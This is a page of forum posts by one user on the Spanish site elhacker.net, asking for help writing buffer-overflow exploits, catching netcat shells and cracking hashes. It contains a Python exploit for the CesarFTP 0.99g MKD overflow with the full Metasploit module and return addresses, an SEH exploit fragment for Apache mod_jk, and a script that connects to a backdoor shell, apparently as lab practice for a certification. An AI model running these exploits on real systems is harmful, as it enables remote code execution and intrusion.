elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Temas
Páginas: [1] 2
1  Seguridad Informática / Bugs y Exploits / Duda en codigo ruby Metasploit en: 15 Abril 2012, 23:58 pm
Buenas, aquí esta el codigo:

http://www.exploit-db.com/exploits/16798/

Mi duda es esta

Código:
  
    def exploit
        connect
 
        uri_start  = "GET /"
        uri_end    = ".html HTTP/1.0\r\n\r\n"
        sc_base    = 16
 
        shellcode  = payload.encoded
        sploit     = rand_text_alphanumeric(5001)
        sploit[sc_base, shellcode.length] = shellcode
 
        # 4343 : Apache/1.3.37 (Win32) mod_jk/1.2.20
        # 4407 : Apache/2.0.59 (Win32) mod_jk/1.2.20
        # 4423 : Apache/2.2.3  (Win32) mod_jk/1.2.20
 
        [ 4343, 4407, 4423 ].each { |seh_offset|
            sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
            sploit[seh_offset - 4, 2] = "\xeb\xf9"
            sploit[seh_offset    , 4] = [ target.ret ].pack('V')
        }
 
        


Estoy tratando de pasarlo a python, las líneas que no se interpretar son las siguientes:
Código:
sploit[sc_base, shellcode.length] = shellcode
sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V')
sploit[seh_offset - 4, 2] = "\xeb\xf9"
sploit[seh_offset    , 4] = [ target.ret ].pack('V')


Como seguirías este buffer?

Código:

Buffer = "GET /"
Buffer += '\x41' * 5001
Buffer += ????
Buffer += ????
[...]
Buffer += ".html HTTP/1.0\r\n\r\n"

Gracias chicos!!
2  Seguridad Informática / Criptografía / Claves RSA y DSA, maldita passphrase!! en: 15 Abril 2012, 23:46 pm
Buenas chicos, os pongo un escenario.

Un pc atacante
Un pc destino con un servicio ssh.


A dicho servidor es posible obtener con nmap tanto RSA como DSA,

Bien, si al extraer los dos y lanzarlos con la opción -i, en lugar de la clave de siempre pide un passphrase, alguien sabe como descifrar este tema?

Gracias!!
3  Programación / Scripting / [PYTHON] Ejecutar commando despues de un socket en: 3 Marzo 2012, 19:14 pm
Buenas, estoy intentando integrar un comando en bash dentro de un script de python para lanzar un netcat

Esto funciona.
Código:
#!/usr/bin/python
import os
os.system("nc 192.168.0.4 28876 -vvv")

pero quiero meterlo despues de un exploit y el codigo no llega a ejecutarse

Código:
#!/usr/bin/python
 
import socket
import sys
import os

[...]

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.0.4',21))
 
s.recv(1024)
s.send('USER ftp\r\n')
s.recv(1024)
s.send('PASS ftp\r\n')
s.recv(1024)
s.send('MKD ' + buf + '\r\n')
print "[*] Sending BufferOverflow..."
print "[*]" , (len(buf)) , "bytes Evil code"
print "[*] Starting connection backdoor port 28876"
s.recv(1024)
s.send('QUIT\r\n')
s.close()
sleep(5)
print "[*] Spawning Shell"
os.system("nc 192.168.0.4 28876 -vvv")


cuando lo ejecuto en la consola hace su cometido, pero no llega a la parte final.

Código:
[*] Sending BufferOverflow...
[*] 1017 bytes Evil code
[*] Starting connection backdoor port 28876


Por lo que en otra ventana he de ir y arrancar netcat


Código:
root@bt:~/Desktop# nc 192.168.0.4 28876

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\>


Me hechais un cablecillo??
4  Seguridad Informática / Bugs y Exploits / [DUDA] Immunity Debugger en: 28 Febrero 2012, 12:50 pm
Buenas, cuando tengo un proceso dentro del debugger y mando mi exploit, me sale el mensaje

Debug string: AnswerHandler called y asi se queda todo el rato.

alguien sabe que estoy haciendo mal?
5  Seguridad Informática / Bugs y Exploits / Necesito ayuda urgente, buffer overflow. en: 27 Febrero 2012, 20:58 pm
Buenas a todos, espero que podais ayudarme porque estoy apunto de lanzarme por un puente...  :-(

Buffer Overflow en CesarFTP 0.99g

Estoy intentando replicar este buffer overflow para seguir aprendiendo estos temas y me he quedado estancado con algunas dudas.

la historia es la siguiente, cuando creo con msfvenom el payload windows/shell/reverse_ord_tcp eliminando los siguientes badchars "\x00\x20\x0a\x0d" (los badchars los extraje del modulo de metasploit)

veo que teniendo un netcat escuchando por el puerto recibo la conexion, pero algo debe de ir mal porque no obtengo ninguna shell.

he modificado con el RET correcto el modulo de metasploit y funciona correctamente pero no soy capaz de replicarle.

mis dudas son estas:

cuando con msfpayload creo la shellcode que puse arriba de arroja dos trozos de codigo, stage1 y stage2. (msfvenom me da un codigo, no dos como msfpayload)

que precisamente es lo que hace msfconsole cuando lo lanzo, crea una stage1 y envia algo, luego crea la stage2 y vuelve a enviar algo hasta que te crea una shell de meterpreter.

como deberia incluir esa parte en el script??.


luego, hay al menos 300 bytes de espacio, si pongo la shellcode de calc.exe la abre a la perfección, sin nigún error en el debbuging, pero cuando pongo la otra se queda medio parado y tengo que forzar la lectura de la pila a mano.

es posible que la eliminación de badchars rompa la shellcode??

con findjump2.exe saco mil offsets para hacer saltar el flujo de la ejecución a mi shellcode, ¿varia el espacio final de la shellcode dependiendo de que JMP ESP escoja??

Otra cosa rarísima es que si en el script en lugar de llamar a la shellcode pongo "B" * 500 para ver mas o menos que espacio tengo disponible, el debbuger no hace absolutamente nada... pero nada de nada... se queda parado como si hubiera recibido el codigo pero lo hubiera asimilado el programa dando la salida ok.

Este es el código que estoy usando, faltan algunas cosas como la propia shellcode y el RET, porque no estoy en casa ahora mismo.

Despues de este está el modulo ruby de metasploit a reproducir, en dicho modulo os pongo "\r\n" cuando define el exploit, porque en el modulo original falta.

Espero que podáis ayudarme, muchas gracias.

Código:
#!/usr/bin/python

from socket import *
import struct

eip = struct.pack('<i', 0x54234568 #me la he inventado)

shellcode = ()


host = "127.0.0.1"
port = 21
user = "ftp"
password = "ftp"

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "MKD "
buffer += "\n" * 671
buffer += "A" * 3
buffer += eip
buffer += "\x90" * 40
buffer += shellcode
buffer += "\r\n"

print "len: %d" % (len(buffer))

s.send(buffer)
print s.recv(1024)

s.close()


Código:
##
# $Id: cesarftp_mkd.rb 11799 2011-02-23 00:58:54Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
    include Msf::Exploit::Remote::Ftp
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Cesar FTP 0.99g MKD Command Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.
                You must have valid credentials to trigger this vulnerability. Also, you
                only get one chance, so choose your target carefully.
            },
            'Author'         => 'MC',
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 11799 $',
            'References'     =>
                [
                    [ 'CVE', '2006-2961'],
                    [ 'OSVDB', '26364'],
                    [ 'BID', '18586'],
                    [ 'URL', 'http://secunia.com/advisories/20574/' ],
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 250,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'Compat'        =>
                        {
                            'SymbolLookup' => 'ws2ord',
                        }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e14c29 } ],
                    [ 'Windows 2000 Pro SP4 French',  { 'Ret' => 0x775F29D0 } ],
                    [ 'Windows XP SP2/SP3 English',       { 'Ret' => 0x774699bf } ], # jmp esp, user32.dll
                    #[ 'Windows XP SP2 English',       { 'Ret' => 0x76b43ae0 } ], # jmp esp, winmm.dll
                    #[ 'Windows XP SP3 English',       { 'Ret' => 0x76b43adc } ], # jmp esp, winmm.dll
                    [ 'Windows 2003 SP1 English',     { 'Ret' => 0x76AA679b } ],
                ],
            'DisclosureDate' => 'Jun 12 2006',
            'DefaultTarget'  => 0))
    end
    def check
        connect
        disconnect
        if (banner =~ /CesarFTP 0\.99g/)
            return Exploit::CheckCode::Vulnerable
        end
            return Exploit::CheckCode::Safe
    end
    def exploit
        connect_login
        sploit =  "\n" * 671 + rand_text_english(3, payload_badchars)
        sploit << [target.ret].pack('V') + make_nops(40) + payload.encoded + "\r\n"
        print_status("Trying target #{target.name}...")
        send_cmd( ['MKD', sploit] , false)
        handler
        disconnect
    end
end
6  Seguridad Informática / Bugs y Exploits / Tipos de Ataques -- FUZZING en: 9 Diciembre 2011, 14:32 pm
Buenas,

Como he comentado en otro post, estoy vulnerando un servidor ftp que es debil en el comando MKD,

en este caso, no es posible vulnerarlo con lo que se está acostumbrado a ver, ej:

"\x41" * 1000

si no que se realiza con saltos de línea.

'\n' * 671

Mi pregunta es la siguiente...

que tipos de datos tendríamos que introducir en un software para provocar una falla?

he encontrado esto en internet, pero me gustaría algún tipo de desglose:

Citar
Tipos de ataques

Un fuzzer debe intentar diferentes combinaciones de ataques en :

- numeros (signed/unsigned integers/float...)

- caracteres (urls, command-line inputs)

- metadata : user-input text (id3 tag)

- sequencias binarias

Un metodo es definir una lista de "valores peligrosos conocidos" " (fuzz vectors) para cada tipo e injectarlos o su combinacion.

- Para enteros: cero, negativos o o numeros muy grandes

- Para caracteres: escape , caracteres interpretables ( comas, numeral,...)

- Para binarios: Unos al azar
7  Seguridad Informática / Bugs y Exploits / RET´s -- Win 7, home. premiun, enterprise etc.... en: 8 Diciembre 2011, 14:17 pm
Buenas, quería saber si las direcciones de retorno varían según la version de windows.

se que si varia el service pack varia la direccion de retorno, aunque no se si siempre.

Este efecto ocurre tambien entre las distintas versiones originales de windows?

entre la version home, premiun, etc?

gracias
8  Seguridad Informática / Bugs y Exploits / Fascinante tanto uno como otro.... en: 11 Noviembre 2011, 03:48 am
Buenas a todos, tengo una duda....

Creo que tanto explotar una falla como encontrarla es igual de interesantes,

me interesa mucho conocer la parte de buscarlas en navegadores...

he probado varios fuzzers y bueno... quizás no sepa usarlos como es debido, quería saber si alguno conoce alguna web que recoja estas cosas, técnicas y demás,

se que en esto soy muy iniciado, pero estoy apunto de acabar la certificación PWB de offensive security e ire de cabeza a por CTP por lo que me fascina.

siento el aburrimiento   :rolleyes:
9  Seguridad Informática / Criptografía / Duda con hash y john en: 31 Octubre 2011, 15:20 pm
Buenas, tengo un hash... pero no sé a que tipo de cifrado corresponde...  ;-)

no sé me ocurre de que manera tengo que leerlo con john..


Código:
cat hash.txt
#### Contenido del hash ####
0c456f90c4a1bc023399e0872ff9


Código:
cat format.txt
#### Contenido de los formatos soportados por John ####
DES
BSDI
MD5
BF
AFS
LM
NT
XSHA
PO
raw-MD5
MD5-gen
IPB2
raw-sha1
md5a
hmac-md5
phpass-md5
KRB5
bfegg
nsldap
ssha
openssha
oracle
oracle11
MYSQL
mysql-sha1
mscash
mscash2
lotus5
DOMINOSEC
NETLM
NETNTLM
NETLMv2
NETNTLMv2
NETHALFLM
MSCHAPv2
mssql
mssql05
epi
phps
mysql-fast
pix-md5
sapG
sapB
md5ns
HDAA
DMD5
raw-md4
md4-gen
sha1-gen
crypt


A si que lanzo cualquier tipo contra el hash que tengo así

Código:
cat format.txt | while read line; do ./john --format=$line hash.txt && echo $line ;done

he aqui el resultado:

Código:
No password hashes loaded
DES
No password hashes loaded
BSDI
No password hashes loaded
MD5
No password hashes loaded
BF
No password hashes loaded
AFS
No password hashes loaded
LM
No password hashes loaded
NT
No password hashes loaded
XSHA
No password hashes loaded
PO
No password hashes loaded
raw-MD5
No password hashes loaded
MD5-gen
No password hashes loaded
IPB2
No password hashes loaded
raw-sha1
No password hashes loaded
md5a
No password hashes loaded
hmac-md5
No password hashes loaded
phpass-md5
No password hashes loaded
KRB5
No password hashes loaded
bfegg
No password hashes loaded
nsldap
No password hashes loaded
ssha
No password hashes loaded
openssha
No password hashes loaded
oracle
No password hashes loaded
oracle11
No password hashes loaded
MYSQL
No password hashes loaded
mysql-sha1
No password hashes loaded
mscash
No password hashes loaded
mscash2
No password hashes loaded
lotus5
No password hashes loaded
DOMINOSEC
No password hashes loaded
NETLM
No password hashes loaded
NETNTLM
No password hashes loaded
NETLMv2
No password hashes loaded
NETNTLMv2
No password hashes loaded
NETHALFLM
No password hashes loaded
MSCHAPv2
No password hashes loaded
mssql
No password hashes loaded
mssql05
No password hashes loaded
epi
No password hashes loaded
phps
No password hashes loaded
mysql-fast
No password hashes loaded
pix-md5
No password hashes loaded
sapG
No password hashes loaded
sapB
No password hashes loaded
md5ns
No password hashes loaded
HDAA
No password hashes loaded
DMD5
No password hashes loaded
raw-md4
No password hashes loaded
md4-gen
No password hashes loaded
sha1-gen
Generic crypt(3) module: hash encoding string length 28, type id #0
appears to be unsupported on this system; will not load such hashes.
No password hashes loaded
crypt


¿¿Algún experto en la materia??
10  Seguridad Informática / Seguridad / Duda con hash y john en: 31 Octubre 2011, 13:54 pm
Buenas, tengo un hash... pero no sé a que tipo de cifrado corresponde...  ;-)

no sé me ocurre de que manera tengo que leerlo con john..


Código:
cat hash.txt
#### Contenido del hash ####
0c456f90c4a1bc023399e0872ff9


Código:
cat format.txt
#### Contenido de los formatos soportados por John ####
DES
BSDI
MD5
BF
AFS
LM
NT
XSHA
PO
raw-MD5
MD5-gen
IPB2
raw-sha1
md5a
hmac-md5
phpass-md5
KRB5
bfegg
nsldap
ssha
openssha
oracle
oracle11
MYSQL
mysql-sha1
mscash
mscash2
lotus5
DOMINOSEC
NETLM
NETNTLM
NETLMv2
NETNTLMv2
NETHALFLM
MSCHAPv2
mssql
mssql05
epi
phps
mysql-fast
pix-md5
sapG
sapB
md5ns
HDAA
DMD5
raw-md4
md4-gen
sha1-gen
crypt


A si que lanzo cualquier tipo contra el hash que tengo así

Código:
cat format.txt | while read line; do ./john --format=$line hash.txt && echo $line ;done

he aqui el resultado:

Código:
No password hashes loaded
DES
No password hashes loaded
BSDI
No password hashes loaded
MD5
No password hashes loaded
BF
No password hashes loaded
AFS
No password hashes loaded
LM
No password hashes loaded
NT
No password hashes loaded
XSHA
No password hashes loaded
PO
No password hashes loaded
raw-MD5
No password hashes loaded
MD5-gen
No password hashes loaded
IPB2
No password hashes loaded
raw-sha1
No password hashes loaded
md5a
No password hashes loaded
hmac-md5
No password hashes loaded
phpass-md5
No password hashes loaded
KRB5
No password hashes loaded
bfegg
No password hashes loaded
nsldap
No password hashes loaded
ssha
No password hashes loaded
openssha
No password hashes loaded
oracle
No password hashes loaded
oracle11
No password hashes loaded
MYSQL
No password hashes loaded
mysql-sha1
No password hashes loaded
mscash
No password hashes loaded
mscash2
No password hashes loaded
lotus5
No password hashes loaded
DOMINOSEC
No password hashes loaded
NETLM
No password hashes loaded
NETNTLM
No password hashes loaded
NETLMv2
No password hashes loaded
NETNTLMv2
No password hashes loaded
NETHALFLM
No password hashes loaded
MSCHAPv2
No password hashes loaded
mssql
No password hashes loaded
mssql05
No password hashes loaded
epi
No password hashes loaded
phps
No password hashes loaded
mysql-fast
No password hashes loaded
pix-md5
No password hashes loaded
sapG
No password hashes loaded
sapB
No password hashes loaded
md5ns
No password hashes loaded
HDAA
No password hashes loaded
DMD5
No password hashes loaded
raw-md4
No password hashes loaded
md4-gen
No password hashes loaded
sha1-gen
Generic crypt(3) module: hash encoding string length 28, type id #0
appears to be unsupported on this system; will not load such hashes.
No password hashes loaded
crypt


¿¿Algún experto en la materia??
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines